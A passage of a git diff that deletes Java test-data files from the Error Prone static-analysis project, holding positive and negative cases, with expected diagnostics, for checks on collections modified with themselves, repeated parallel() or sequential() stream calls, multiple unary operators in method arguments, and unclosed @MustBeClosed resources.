.map(x -> x + 1) - .filter(x -> x < 5) - // BUG: Diagnostic contains: - .forEach(cases[0].mutableValues::add); - } - - private List mutateStreamSourceLambdaExpression( - ImmutableList mutableParamList) { - Stream values1 = - mutableParamList.stream() - .map( - x -> { - // BUG: Diagnostic contains: - mutableParamList.add(x); - return x + 1; - }); - - Stream values2 = - mutableParamList.stream() - .filter( - x -> { - // BUG: Diagnostic contains: - mutableParamList.remove(x); - return mutableParamList.size() > 5; - }); - - return Stream.concat(values1, values2).collect(Collectors.toList()); - } - - private List getMutableValues() { - return mutableValues; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ModifyingCollectionWithItselfNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ModifyingCollectionWithItselfNegativeCases.java deleted file mode 100644 index b35cc1a11b0..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ModifyingCollectionWithItselfNegativeCases.java +++ /dev/null @@ -1,44 +0,0 @@ -/* - * Copyright 2011 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.util.ArrayList; -import java.util.List; - -/** - * @author scottjohnson@google.com (Scott Johnson) - */ -public class ModifyingCollectionWithItselfNegativeCases { - - List a = new ArrayList(); - - public boolean addAll(List b) { - return a.addAll(b); - } - - public boolean removeAll(List b) { - return a.removeAll(b); - } - - public boolean retainAll(List b) { - return a.retainAll(b); - } - - public boolean containsAll(List b) { - return a.containsAll(b); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ModifyingCollectionWithItselfPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ModifyingCollectionWithItselfPositiveCases.java deleted file mode 100644 index bafd70c2325..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ModifyingCollectionWithItselfPositiveCases.java +++ /dev/null @@ -1,83 +0,0 @@ -/* - * Copyright 2011 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.util.ArrayList; -import java.util.List; - -/** - * @author scottjohnson@google.com (Scott Johnson) - */ -public class ModifyingCollectionWithItselfPositiveCases { - - List a = new ArrayList(); - List c = new ArrayList(); - - public void addAll(List b) { - // BUG: Diagnostic contains: a.addAll(b) - this.a.addAll(a); - - // BUG: Diagnostic contains: a.addAll(1, b) - a.addAll(1, a); - } - - public void containsAll(List b) { - // BUG: Diagnostic contains: this.a.containsAll(b) - this.a.containsAll(this.a); - - // BUG: Diagnostic contains: a.containsAll(b) - a.containsAll(this.a); - } - - public void retainAll(List a) { - // BUG: Diagnostic contains: this.a.retainAll(a) - a.retainAll(a); - } - - public void removeAll() { - // BUG: Diagnostic contains: a.clear() - this.a.removeAll(a); - - // BUG: Diagnostic contains: a.clear() - a.removeAll(a); - } - - static class HasOneField { - List a; - - void removeAll() { - // BUG: Diagnostic contains: a.clear(); - a.removeAll(a); - } - - void testParameterFirst(List b) { - // BUG: Diagnostic contains: this.a.removeAll(b); - b.removeAll(b); - } - - void expressionStatementChecks() { - // BUG: Diagnostic contains: ModifyingCollectionWithItself - boolean b = 2 == 2 && a.containsAll(a); - - // BUG: Diagnostic contains: ModifyingCollectionWithItself - b = a.retainAll(a); - - // BUG: Diagnostic contains: ModifyingCollectionWithItself - b = a.removeAll(a); - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MultipleParallelOrSequentialCallsNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MultipleParallelOrSequentialCallsNegativeCases.java deleted file mode 100644 index 0563d5684a0..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MultipleParallelOrSequentialCallsNegativeCases.java +++ /dev/null @@ -1,66 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -import java.util.List; - -/** Created by mariasam on 7/6/17. */ -public class MultipleParallelOrSequentialCallsNegativeCases { - - public void basicCase(List list) { - list.stream().parallel(); - } - - public void basicCaseSequential(List list) { - list.stream().sequential(); - } - - public void basicCaseNotLast(List list) { - list.stream().parallel().findFirst(); - } - - public void middleParallel(List list) { - list.stream().map(m -> m).parallel().filter(m -> m.isEmpty()); - } - - public void otherMethod() { - SomeObject someObject = new SomeObject(); - someObject.parallel().parallel(); - } - - public void otherMethodNotParallel(List list) { - list.stream().filter(m -> m.isEmpty()).findFirst(); - } - - public void streamWithinAStreamImmediatelyAfter(List list) { - list.stream().map(m -> list.stream().parallel()).parallel(); - } - - public void streamWithinAStreamImmediatelyAfterOtherParallelBothFirstAndWithin( - List list) { - list.stream().parallel().map(m -> list.stream().parallel()); - } - - public void streamWithinAStreamImmediatelyAfterOtherParallelBoth(List list) { - list.stream().sequential().map(m -> list.stream().parallel()).parallel(); - } - - class SomeObject { - public SomeObject parallel() { - return null; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MultipleParallelOrSequentialCallsPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MultipleParallelOrSequentialCallsPositiveCases.java deleted file mode 100644 index 8fe49899fab..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MultipleParallelOrSequentialCallsPositiveCases.java +++ /dev/null @@ -1,147 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -import java.util.Collection; -import java.util.List; -import java.util.stream.Stream; - -/** - * @author @mariasam (Maria Sam) on 7/6/17. - */ -class MultipleParallelOrSequentialCallsPositiveCases { - - public void basicCaseParallel(List list) { - // BUG: Diagnostic contains: Did you mean 'list.stream().parallel();'? - list.stream().parallel().parallel(); - } - - public void basicCaseParallelNotFirst(List list) { - // BUG: Diagnostic contains: Did you mean 'list.stream().parallel().map(m -> m);'? - list.stream().map(m -> m).parallel().parallel(); - } - - public void basicCollection(Collection list) { - // BUG: Diagnostic contains: Did you mean 'list.stream().parallel();'? - list.stream().parallel().parallel(); - } - - public void parallelStream(List list) { - // BUG: Diagnostic contains: Did you mean 'list.parallelStream();'? - list.parallelStream().parallel().parallel(); - } - - public void basicCaseParallelThisInMethodArg(List list) { - // BUG: Diagnostic contains: Did you mean 'this.hello(list.stream().parallel());'? - this.hello(list.stream().parallel().parallel()); - } - - public void onlyOneError(List list) { - this.hello( - // BUG: Diagnostic contains: Multiple calls - list.stream().parallel().parallel()); - } - - public void mapMethod(List list) { - // BUG: Diagnostic contains: Did you mean 'hello(list.stream().parallel().map(m -> - // this.hello(null)));'? - hello(list.stream().map(m -> this.hello(null)).parallel().parallel()); - } - - public void betweenMethods(List list) { - // BUG: Diagnostic contains: Did you mean 'list.stream().parallel().map(m -> m.toString());'? - list.stream().parallel().map(m -> m.toString()).parallel(); - } - - public void basicCaseParallelNotLast(List list) { - // BUG: Diagnostic contains: Did you mean 'list.stream().parallel().map(m -> - // m.toString()).findFirst();'? - list.stream().parallel().map(m -> m.toString()).parallel().findFirst(); - } - - public void basicCaseSequential(List list) { - // BUG: Diagnostic contains: Did you mean 'list.stream().sequential().map(m -> m.toString());'? - list.stream().sequential().map(m -> m.toString()).sequential(); - } - - public void bothSequentialAndParallel(List list) { - // this case is unlikely (wrong, even) but just checking that this works - // BUG: Diagnostic contains: Did you mean 'list.stream().sequential().parallel();'? - list.stream().sequential().parallel().sequential(); - } - - public void bothSequentialAndParallelMultiple(List list) { - // this is even more messed up, this test is here to make sure the checker doesn't throw an - // exception - // BUG: Diagnostic contains: Multiple calls - list.stream().sequential().parallel().sequential().parallel(); - } - - public void parallelMultipleLines(List list) { - // BUG: Diagnostic contains: Did you mean 'list.stream().parallel() - list.stream().parallel().map(m -> m.toString()).parallel(); - } - - public void multipleParallelCalls(List list) { - // BUG: Diagnostic contains: Did you mean 'list.parallelStream();'? - list.parallelStream().sequential(); - } - - public String hello(Stream st) { - return ""; - } - - public void streamWithinAStream(List list, List list2) { - // BUG: Diagnostic contains: Did you mean - list.stream() - .flatMap(childDir -> list2.stream()) - .parallel() - .flatMap(a -> list2.stream()) - .parallel(); - } - - public void streamWithinAStreamImmediatelyAfterOtherParallel( - List list, List list2) { - // BUG: Diagnostic contains: Did you mean - list.stream().parallel().map(m -> list2.stream().parallel()).parallel(); - } - - public void parallelAndNestedStreams(List list, List list2) { - // BUG: Diagnostic contains: Did you mean - list.parallelStream() - .flatMap(childDir -> list2.stream()) - .parallel() - .filter(m -> (new TestClass("test")).testClass()) - .map( - a -> { - if (a == null) { - return a; - } - return null; - }) - .filter(a -> a != null) - .flatMap(a -> list2.stream()) - .parallel(); - } - - private class TestClass { - public TestClass(String con) {} - - private boolean testClass() { - return true; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MultipleParallelOrSequentialCallsPositiveCases_expected.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MultipleParallelOrSequentialCallsPositiveCases_expected.java deleted file mode 100644 index 60fb17de12c..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MultipleParallelOrSequentialCallsPositiveCases_expected.java +++ /dev/null @@ -1,141 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -import java.util.Collection; -import java.util.List; -import java.util.stream.Stream; - -/** - * @author @mariasam (Maria Sam) on 7/6/17. - */ -class MultipleParallelOrSequentialCallsPositiveCases { - - public void basicCaseParallel(List list) { - // BUG: Diagnostic contains: Did you mean 'list.stream().parallel();'? - list.stream().parallel(); - } - - public void basicCaseParallelNotFirst(List list) { - // BUG: Diagnostic contains: Did you mean 'list.stream().parallel().map(m -> m);'? - list.stream().parallel().map(m -> m); - } - - public void basicCollection(Collection list) { - // BUG: Diagnostic contains: Did you mean 'list.stream().parallel();'? - list.stream().parallel(); - } - - public void parallelStream(List list) { - // BUG: Diagnostic contains: Did you mean 'list.parallelStream();'? - list.parallelStream(); - } - - public void basicCaseParallelThisInMethodArg(List list) { - // BUG: Diagnostic contains: Did you mean 'this.hello(list.stream().parallel());'? - this.hello(list.stream().parallel()); - } - - public void onlyOneError(List list) { - this.hello( - // BUG: Diagnostic contains: Multiple calls - list.stream().parallel()); - } - - public void mapMethod(List list) { - // BUG: Diagnostic contains: Did you mean 'hello(list.stream().parallel().map(m -> - // this.hello(null)));'? - hello(list.stream().parallel().map(m -> this.hello(null))); - } - - public void betweenMethods(List list) { - // BUG: Diagnostic contains: Did you mean 'list.stream().parallel().map(m -> m.toString());'? - list.stream().parallel().map(m -> m.toString()); - } - - public void basicCaseParallelNotLast(List list) { - // BUG: Diagnostic contains: Did you mean 'list.stream().parallel().map(m -> - // m.toString()).findFirst();'? - list.stream().parallel().map(m -> m.toString()).findFirst(); - } - - public void basicCaseSequential(List list) { - // BUG: Diagnostic contains: Did you mean 'list.stream().sequential().map(m -> m.toString());'? - list.stream().sequential().map(m -> m.toString()); - } - - public void bothSequentialAndParallel(List list) { - // this case is unlikely (wrong, even) but just checking that this works - // BUG: Diagnostic contains: Did you mean 'list.stream().sequential().parallel();'? - list.stream().sequential().parallel(); - } - - public void bothSequentialAndParallelMultiple(List list) { - // this is even more messed up, this test is here to make sure the checker doesn't throw an - // exception - // BUG: Diagnostic contains: Multiple calls - list.stream().sequential().parallel().parallel(); - } - - public void parallelMultipleLines(List list) { - // BUG: Diagnostic contains: Did you mean 'list.stream().parallel() - list.stream().parallel().map(m -> m.toString()); - } - - public void multipleParallelCalls(List list) { - // BUG: Diagnostic contains: Did you mean 'list.parallelStream();'? - list.parallelStream(); - } - - public String hello(Stream st) { - return ""; - } - - public void streamWithinAStream(List list, List list2) { - // BUG: Diagnostic contains: Did you mean - list.stream().parallel().flatMap(childDir -> list2.stream()).flatMap(a -> list2.stream()); - } - - public void streamWithinAStreamImmediatelyAfterOtherParallel( - List list, List list2) { - // BUG: Diagnostic contains: Did you mean - list.stream().parallel().map(m -> list2.stream().parallel()); - } - - public void parallelAndNestedStreams(List list, List list2) { - // BUG: Diagnostic contains: Did you mean - list.parallelStream() - .flatMap(childDir -> list2.stream()) - .filter(m -> (new TestClass("test")).testClass()) - .map( - a -> { - if (a == null) { - return a; - } - return null; - }) - .filter(a -> a != null) - .flatMap(a -> list2.stream()); - } - - private class TestClass { - public TestClass(String con) {} - - private boolean testClass() { - return true; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MultipleUnaryOperatorsInMethodCallNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MultipleUnaryOperatorsInMethodCallNegativeCases.java deleted file mode 100644 index d0b98887ce7..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MultipleUnaryOperatorsInMethodCallNegativeCases.java +++ /dev/null @@ -1,34 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author sulku@google.com (Marsela Sulku) - */ -public class MultipleUnaryOperatorsInMethodCallNegativeCases { - public static void tests(int a, int b, int[] xs) { - testMethod(a, b); - testMethod(a + 1, b); - testMethod(b, a + 1); - testMethod(a++, b); - testMethod(--a, b); - testMethod(a, b--); - testMethod(a, ++b); - testMethod(xs[0]++, xs[0]++); - } - - public static void testMethod(int one, int two) {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MultipleUnaryOperatorsInMethodCallPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MultipleUnaryOperatorsInMethodCallPositiveCases.java deleted file mode 100644 index aef529aee7d..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MultipleUnaryOperatorsInMethodCallPositiveCases.java +++ /dev/null @@ -1,55 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author sulku@google.com (Marsela Sulku) - */ -public class MultipleUnaryOperatorsInMethodCallPositiveCases { - /** these cases do not have suggested fixes */ - public static void tests(int a, int b) { - - // BUG: Diagnostic contains: Avoid having multiple unary operators acting - twoArgs(a++, a--); - // BUG: Diagnostic contains: Avoid having multiple unary operators acting - twoArgs(a--, ++a); - // BUG: Diagnostic contains: Avoid having multiple unary operators acting - twoArgs(++a, a++); - // BUG: Diagnostic contains: Avoid having multiple unary operators acting - twoArgs(--a, --a); - - // BUG: Diagnostic contains: Avoid having multiple unary operators acting - threeArgs(a++, b++, b++); - // BUG: Diagnostic contains: Avoid having multiple unary operators acting - threeArgs(a++, b, a++); - // BUG: Diagnostic contains: Avoid having multiple unary operators acting - threeArgs(++a, b++, --b); - // BUG: Diagnostic contains: Avoid having multiple unary operators acting - threeArgs(++a, a++, b); - // BUG: Diagnostic contains: Avoid having multiple unary operators acting - threeArgs(++a, a++, a); - // BUG: Diagnostic contains: Avoid having multiple unary operators acting - threeArgs(++a, a++, a--); - } - - public static void twoArgs(int a, int b) {} - - public static void threeArgs(int a, int b, int c) {} - - public static int someFunction(int a) { - return 0; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MustBeClosedCheckerNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MustBeClosedCheckerNegativeCases.java deleted file mode 100644 index 4dd86008820..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MustBeClosedCheckerNegativeCases.java +++ /dev/null @@ -1,184 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static org.junit.Assert.fail; -import static org.mockito.Mockito.doReturn; -import static org.mockito.Mockito.when; - -import com.google.common.collect.ImmutableList; -import com.google.errorprone.annotations.MustBeClosed; - -@SuppressWarnings({"UnnecessaryCast", "LambdaToMemberReference"}) -public class MustBeClosedCheckerNegativeCases { - - class Closeable implements AutoCloseable { - - @Override - public void close() {} - } - - class Foo { - - void bar() {} - - @MustBeClosed - Closeable mustBeClosedAnnotatedMethod() { - return new Closeable(); - } - } - - class MustBeClosedAnnotatedConstructor extends Closeable { - - @MustBeClosed - MustBeClosedAnnotatedConstructor() {} - } - - @SuppressWarnings("MustBeClosedChecker") - void respectsSuppressWarnings_onMethod() { - new Foo().mustBeClosedAnnotatedMethod(); - } - - void respectsSuppressWarnings_onLocal() { - @SuppressWarnings("MustBeClosedChecker") - var unused = new Foo().mustBeClosedAnnotatedMethod(); - } - - void negativeCase3() { - try (Closeable closeable = new Foo().mustBeClosedAnnotatedMethod()) {} - } - - void negativeCase4() { - Foo foo = new Foo(); - try (Closeable closeable = foo.mustBeClosedAnnotatedMethod()) {} - } - - void negativeCase5() { - new Foo().bar(); - } - - void negativeCase6() { - try (MustBeClosedAnnotatedConstructor foo = new MustBeClosedAnnotatedConstructor()) {} - } - - void negativeCase7() { - try (MustBeClosedAnnotatedConstructor foo = new MustBeClosedAnnotatedConstructor(); - Closeable closeable = new Foo().mustBeClosedAnnotatedMethod()) {} - } - - @MustBeClosed - Closeable positiveCase8() { - // This is fine since the caller method is annotated. - return new MustBeClosedAnnotatedConstructor(); - } - - @MustBeClosed - Closeable positiveCase7() { - // This is fine since the caller method is annotated. - return new Foo().mustBeClosedAnnotatedMethod(); - } - - @MustBeClosed - Closeable ternary(boolean condition) { - return condition ? new Foo().mustBeClosedAnnotatedMethod() : null; - } - - @MustBeClosed - Closeable cast() { - // TODO(b/241012760): remove the following line after the bug is fixed. - // BUG: Diagnostic contains: - return (Closeable) new Foo().mustBeClosedAnnotatedMethod(); - } - - void tryWithResources() { - Foo foo = new Foo(); - Closeable closeable = foo.mustBeClosedAnnotatedMethod(); - try { - } finally { - closeable.close(); - } - } - - void mockitoWhen(Foo mockFoo) { - when(mockFoo.mustBeClosedAnnotatedMethod()).thenReturn(null); - doReturn(null).when(mockFoo).mustBeClosedAnnotatedMethod(); - } - - void testException() { - try { - ((Foo) null).mustBeClosedAnnotatedMethod(); - fail(); - } catch (NullPointerException e) { - } - } - - abstract class ParentWithNoArgument implements AutoCloseable { - @MustBeClosed - ParentWithNoArgument() {} - } - - abstract class ParentWithArgument implements AutoCloseable { - @MustBeClosed - ParentWithArgument(int i) {} - } - - abstract class ChildOfParentWithArgument extends ParentWithArgument { - @MustBeClosed - ChildOfParentWithArgument() { - super(0); - } - } - - interface ResourceFactory { - @MustBeClosed - MustBeClosedAnnotatedConstructor getResource(); - } - - void consumeCloseable(ResourceFactory factory) { - try (Closeable c = factory.getResource()) {} - } - - void expressionLambdaReturningCloseable() { - consumeCloseable(() -> new MustBeClosedAnnotatedConstructor()); - } - - void statementLambdaReturningCloseable() { - consumeCloseable( - () -> { - return new MustBeClosedAnnotatedConstructor(); - }); - } - - void methodReferenceReturningCloseable() { - consumeCloseable(MustBeClosedAnnotatedConstructor::new); - } - - void ternaryFunctionalExpressionReturningCloseable(boolean condition) { - consumeCloseable( - condition - ? () -> new MustBeClosedAnnotatedConstructor() - : MustBeClosedAnnotatedConstructor::new); - } - - void inferredFunctionalExpressionReturningCloseable(ResourceFactory factory) { - ImmutableList.of( - factory, - () -> new MustBeClosedAnnotatedConstructor(), - MustBeClosedAnnotatedConstructor::new) - .forEach(this::consumeCloseable); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MustBeClosedCheckerPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MustBeClosedCheckerPositiveCases.java deleted file mode 100644 index 2be8547277c..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MustBeClosedCheckerPositiveCases.java +++ /dev/null @@ -1,238 +0,0 @@ -/* - * Copyright 2021 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import com.google.errorprone.annotations.MustBeClosed; -import java.util.function.Supplier; -import java.util.stream.Stream; - -@SuppressWarnings({"UnusedNestedClass", "UnusedVariable"}) -class MustBeClosedCheckerPositiveCases { - - class DoesNotImplementAutoCloseable { - @MustBeClosed - // BUG: Diagnostic contains: MustBeClosed should only annotate constructors of AutoCloseables. - DoesNotImplementAutoCloseable() {} - - @MustBeClosed - // BUG: Diagnostic contains: MustBeClosed should only annotate methods that return an - // AutoCloseable. - void doesNotReturnAutoCloseable() {} - } - - class Closeable implements AutoCloseable { - - @Override - public void close() {} - - public int method() { - return 1; - } - } - - class Foo { - - @MustBeClosed - Closeable mustBeClosedAnnotatedMethod() { - return new Closeable(); - } - - void sameClass() { - // BUG: Diagnostic contains: - mustBeClosedAnnotatedMethod(); - } - } - - class MustBeClosedAnnotatedConstructor extends Closeable { - - @MustBeClosed - MustBeClosedAnnotatedConstructor() {} - - void sameClass() { - // BUG: Diagnostic contains: - new MustBeClosedAnnotatedConstructor(); - } - } - - void positiveCase1() { - // BUG: Diagnostic contains: - new Foo().mustBeClosedAnnotatedMethod(); - } - - void positiveCase2() { - // BUG: Diagnostic contains: - Closeable closeable = new Foo().mustBeClosedAnnotatedMethod(); - } - - void positiveCase3() { - try { - // BUG: Diagnostic contains: - new Foo().mustBeClosedAnnotatedMethod(); - } finally { - } - } - - void positiveCase4() { - try (Closeable c = new Foo().mustBeClosedAnnotatedMethod()) { - // BUG: Diagnostic contains: - new Foo().mustBeClosedAnnotatedMethod(); - } - } - - void positiveCase5() { - // BUG: Diagnostic contains: - new MustBeClosedAnnotatedConstructor(); - } - - Closeable positiveCase6() { - // BUG: Diagnostic contains: - return new MustBeClosedAnnotatedConstructor(); - } - - Closeable positiveCase7() { - // BUG: Diagnostic contains: - return new Foo().mustBeClosedAnnotatedMethod(); - } - - int existingDeclarationUsesVar() { - // BUG: Diagnostic contains: - var result = new Foo().mustBeClosedAnnotatedMethod(); - return 0; - } - - boolean twoCloseablesInOneExpression() { - // BUG: Diagnostic contains: - return new Foo().mustBeClosedAnnotatedMethod() == new Foo().mustBeClosedAnnotatedMethod(); - } - - void voidLambda() { - // Lambda has a fixless finding because no reasonable fix can be suggested. - // BUG: Diagnostic contains: - Runnable runnable = () -> new Foo().mustBeClosedAnnotatedMethod(); - } - - void expressionLambda() { - Supplier supplier = - () -> - // BUG: Diagnostic contains: - new Foo().mustBeClosedAnnotatedMethod(); - } - - void statementLambda() { - Supplier supplier = - () -> { - // BUG: Diagnostic contains: - return new Foo().mustBeClosedAnnotatedMethod(); - }; - } - - void methodReference() { - Supplier supplier = - // TODO(b/218377318): BUG: Diagnostic contains: - new Foo()::mustBeClosedAnnotatedMethod; - } - - void anonymousClass() { - new Foo() { - @Override - public Closeable mustBeClosedAnnotatedMethod() { - // BUG: Diagnostic contains: - return new MustBeClosedAnnotatedConstructor(); - } - }; - } - - void subexpression() { - // BUG: Diagnostic contains: - new Foo().mustBeClosedAnnotatedMethod().method(); - } - - void ternary(boolean condition) { - // BUG: Diagnostic contains: - int result = condition ? new Foo().mustBeClosedAnnotatedMethod().method() : 0; - } - - int variableDeclaration() { - // BUG: Diagnostic contains: - int result = new Foo().mustBeClosedAnnotatedMethod().method(); - return result; - } - - void tryWithResources_nonFinal() { - Foo foo = new Foo(); - // BUG: Diagnostic contains: - Closeable closeable = foo.mustBeClosedAnnotatedMethod(); - try { - closeable = null; - } finally { - closeable.close(); - } - } - - void tryWithResources_noClose() { - Foo foo = new Foo(); - // BUG: Diagnostic contains: - Closeable closeable = foo.mustBeClosedAnnotatedMethod(); - try { - } finally { - } - } - - class CloseableFoo implements AutoCloseable { - - @MustBeClosed - CloseableFoo() {} - - // Doesn't autoclose Foo on Stream close. - Stream stream() { - return null; - } - - @Override - public void close() {} - } - - void twrStream() { - // BUG: Diagnostic contains: - try (Stream stream = new CloseableFoo().stream()) {} - } - - void constructorsTransitivelyRequiredAnnotation() { - abstract class Parent implements AutoCloseable { - @MustBeClosed - Parent() {} - - // BUG: Diagnostic contains: Invoked constructor is marked @MustBeClosed - Parent(int i) { - this(); - } - } - - // BUG: Diagnostic contains: Implicitly invoked constructor is marked @MustBeClosed - abstract class ChildDefaultConstructor extends Parent {} - - abstract class ChildExplicitConstructor extends Parent { - // BUG: Diagnostic contains: Invoked constructor is marked @MustBeClosed - ChildExplicitConstructor() {} - - // BUG: Diagnostic contains: Invoked constructor is marked @MustBeClosed - ChildExplicitConstructor(int a) { - super(); - } - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MustBeClosedCheckerPositiveCases_expected.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MustBeClosedCheckerPositiveCases_expected.java deleted file mode 100644 index 84f686de9b7..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MustBeClosedCheckerPositiveCases_expected.java +++ /dev/null @@ -1,260 +0,0 @@ -/* - * Copyright 2021 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import com.google.errorprone.annotations.MustBeClosed; -import java.util.function.Supplier; -import java.util.stream.Stream; - -@SuppressWarnings({"UnusedNestedClass", "UnusedVariable"}) -class MustBeClosedCheckerPositiveCases { - - class DoesNotImplementAutoCloseable { - @MustBeClosed - // BUG: Diagnostic contains: MustBeClosed should only annotate constructors of AutoCloseables. - DoesNotImplementAutoCloseable() {} - - @MustBeClosed - // BUG: Diagnostic contains: MustBeClosed should only annotate methods that return an - // AutoCloseable. - void doesNotReturnAutoCloseable() {} - } - - class Closeable implements AutoCloseable { - - @Override - public void close() {} - - public int method() { - return 1; - } - } - - class Foo { - - @MustBeClosed - Closeable mustBeClosedAnnotatedMethod() { - return new Closeable(); - } - - void sameClass() { - // BUG: Diagnostic contains: - try (var closeable = mustBeClosedAnnotatedMethod()) {} - } - } - - class MustBeClosedAnnotatedConstructor extends Closeable { - - @MustBeClosed - MustBeClosedAnnotatedConstructor() {} - - void sameClass() { - // BUG: Diagnostic contains: - try (var mustBeClosedAnnotatedConstructor = new MustBeClosedAnnotatedConstructor()) {} - } - } - - void positiveCase1() { - // BUG: Diagnostic contains: - 